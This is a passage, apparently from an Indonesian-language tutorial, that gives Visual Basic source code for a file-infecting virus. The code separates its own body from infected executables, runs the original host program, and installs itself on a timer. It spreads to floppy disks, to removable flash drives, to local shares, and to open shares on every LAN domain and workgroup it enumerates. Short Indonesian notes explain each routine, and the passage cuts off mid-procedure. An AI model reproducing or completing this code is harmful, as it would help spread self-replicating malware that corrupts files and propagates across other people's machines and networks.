Call VirInstall ‘instalasi virus
If Not SudahLoad Then
Load ff ‘aktifkan timer virus
End If
‘Jika file yang terinfeksi
Else
Seek #1, LOF(1) – 9 + 1 ‘pindah file pointer ke posisi virSize
Get #1, , virSize ‘baca virSize (long = 4 byte)
‘Baca vircode
virCode = Space$(virSize)
Seek #1, 1 ‘ke posisi BOF (Awal file)
Get #1, , virCode ‘baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) – virSize) ’siapkan buffer
Get #1, , OriginalCode ‘baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & “.exe”) <> “”
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & “.exe”
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode ‘tulis ke file sementara
Close #2 ‘tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff ‘aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname ‘hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) ‘jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit ‘ambil status aktif
Do While HExit = STILL_ACTIVE ‘proses ditahan selama proses masih aktif
DoEvents ‘lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
‘Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A oleh pemakai.
Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
‘Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, “3½ Floppy (A:)”)
If Not floppy_hwnd = 0 Then
Call InfeksiResource(”A:”, “DOCXLS”) ‘Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.
Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject(”Scripting.FileSystemObject”)
For Each ObjDrive In ObjFSO.Drives
‘Asumsi semua removable drive diatas huruf C adalah flash disk
‘1 – Removable drive
‘2 – Fixed drive (hard disk)
‘3 – Mapped network drive
‘4 – CD-ROM drive
‘5 – RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then
Call InfeksiResource(ObjDrive.DriveLetter + “:”, “XLSDOC”)
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi
Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares(”\\127.0.0.1″, “Microsoft Windows Network”, shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, “XLSDOCEXE”)
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.
Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares(””, “Microsoft Windows Network”, Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.
Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, “Microsoft Windows Network”, Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :
Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()